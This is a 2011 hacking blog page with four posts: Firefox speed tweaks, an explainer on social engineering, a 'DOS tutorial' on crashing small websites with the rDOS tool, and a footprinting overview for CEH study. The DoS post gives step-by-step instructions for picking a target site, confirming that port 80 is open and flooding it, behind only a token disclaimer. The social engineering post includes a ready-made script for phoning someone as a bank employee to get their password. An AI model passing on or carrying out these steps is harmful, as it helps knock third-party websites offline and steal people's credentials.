Comitari Web Protection Suite: Comitari provides client side protection against ClickJacking (aka UI Redressing) attacks. Installed as browser add-on

Speed up Firefox

2011-09-15T09:30:00.000-07:00

Speed up Firefox

Speed up your browsing speed of Firefox browser. You just need to change some Firefox settings. follow these steps-

1- Type "about:config" into the address bar and hit enter. Scroll down the page and look for the following entries in the table shown.

network.http.pipelining
network.http.pipelining.maxrequests
network.http.proxy.pipelining

2- change the values of these entries as follows:

Set "network.http.pipelining" to "true"
Set "network.http.proxy.pipelining" to "true"
Set "network.http.pipelining.maxrequests" to some number like 30.

3- At Last right click anywhere in the page and select New --> Integer in the popup menu. Give it's name as follow:

"nglayout.initialpaint.delay" and set its value to "0".

This new value is the amount of time that browser waits before it acts on any information it receives.
Now your surfing speed will be much faster than before....
try it..

if you try this post..
do comments =)

Social Engineering Hacking

2011-09-15T09:27:00.000-07:00

Social Engineering

This method is really an effective nontechnical way of breaking the security of a system or a network. It’s the process of deceiving users of a system and convincing them to give out some information that can be used to defeat or bypass security of a system or network. This process is easy to understand. But there are a lot of people who think that this is not an effective way but as i think this is very effective process of breaking into a system or network. This method can be used to gather information before or during an attack.

Social Engineering: Social engineering is the process of getting some secure information's by performing some actions. These information's can be used for breaking the security. Here i used a word some actions. email and telephone call are the most widely used actions to perform social engineering. Social engineers exploit the natural tendency of a person to trust their word, rather than exploiting computer security holes. It’s generally agreed that users are the weak link in security; this principle is what makes social engineering possible.

It does not matter if enterprises have invested in high end infrastructure and security solutions such as complex authentication processes, firewalls, VPNs and network monitoring software. None of these devices or security measures is effective if an employee unwittingly gives away key information in an email, by answering questions over the phone with a stranger or new acquaintance or even brag about a project with coworkers at a local pub after hours.

Social engineering can be broken into two common types:

Human-based: Human-based social engineering refers to person-to-person interaction to retrieve the desired information. An example is calling the help desk and trying to find out a password.

Computer-based: Computer-based social engineering refers to having computer software that attempts to retrieve the desired information. An example is sending a user an e-mail and asking them to reenter a password in a web page to confirm it. This social-engineering attack is also known as phishing.

eg: of Human based social engineering

Attacker calls to the victim and claimed to be the victim's bank employee.
Attacker: Hello sir, i am calling from ABCD Bank. Are u Mr. Bob??
Victim: Hello Mr. Is there any problem??
Attacker: Last night our system crashed and we are trying to restore it. Don't worry data is successfully backed up but we need to check all your transactions. So we need your password.
Victim: what?? password.
Attacker: We can get your password from our database but due to our privacy policy we can not use your password without your order.
Victim: OK so i am agree now you can use. go and see from the database but plz my account should be secure.
Attacker: we need your password from you to authenticate you too. So please if you are agree, tell me your used id and password combination
Victim: hmmmmmmmm....... ok My id- bob007 password: bobaccount
Attacker: OK thank you sir. we will call you again if we need further support. have a nice day sir

Now attacker has victim's password.

Social Engineering is the hardest form of attack to defend against because it cannot be defended with hardware or software alone.

I tried to give u a short information about social engineering. If you have any problem or confusion do comment

DOS TUTORIAL-How to crash small websites using RDOS

2011-09-15T08:44:00.000-07:00

DOS [How Does it Happen]

How do hackers crash small websites using RDOS

Have you ever wanted to DOS attack on a website. Here I am going to write about a tool which is really helpful but it wouldn't be effective on big servers.

NOTE: Please do not try to this tutorial to harm any other's website. I will not be responsible in any case. If you are not agree, please leave this website without reading further tutorial

You need:

Port Scanner Download Here
rDOS Download Here
Ip Hiding tool Download Here

Follow these steps:

1: First of all you need to know the IP address of the website you want to crash.
Use ping command in windows to get the ip address of the website.
open CMD and enter ping www.website.com
see the snap

Now you have the IP address of the website.

2: Now use Port scanner to check whether PORT 80 is open or not. If PORT 80 is not open choose another website to hack :P

otherwise you can crash this website.

3: Now open your rDos. Enter your victims ip that you got from step 1.

It will ask you for the port to attack use port 80 that’s why we scanned to make sure that 80 was open! If it is closed it will not work.

comment if you have any problem

Footprinting tutorial - Information gathering of the Target

2011-09-15T08:38:00.000-07:00

Footprinting tutorial - Information gathering

This tutorial is those who are appearing for the CEH exam. They can use it as a study material for their exam studies.
Footprinting is the first phase of hacking. It involves information gathering about the victim. Here Victim may be a computer system, network or website. This part of hacking is very important because to hack a computer system, hacker needs to know much about the target. The data gathered in this phase is used to hack the victim or system. Footprinting can reveal system vulnerabilities and identify the ease with which they can be exploited.
Generally, a hacker spends 90 percent of the time profiling and gathering information on a target and 10 percent of the time launching the attack.

Suppose a hacker want to intrude in the network of a company. Then he use the website of that company to get the list of employee and then they can use facebook or Google to get their email adresss, phone number and other data. This email address can be used for Phishing attack to get the password of email account which will surely have the account details of company network account. This is the simple attack example but it depends on the hacker, how he is using this to get information about the victim.
Google is the friend of hackers to perform footprinting. Because it helps hacker to find information about any individual person, any website and a company network. Google hacking tricks are best way to explore more data from google. Use my older post on Google hacking and operators used on Google hacking.

Some of the common sources used for information gathering include the following:
Domain name lookup
Whois
Nslookup
Sam Spade

These are not the only tools used for footprinting. These may change according to the victim. A hacker want to get all the information needed to hack the victim. So Hacker should decide what he can do to get effective information about the target.

Steps of information gathering or Footprinting

Unearth Initial Information
Locate the Network Range
Ascertain Active Machines
Discover Open Ports/Access Points
Detect Operating Systems
Uncover Services on Ports
Map the Network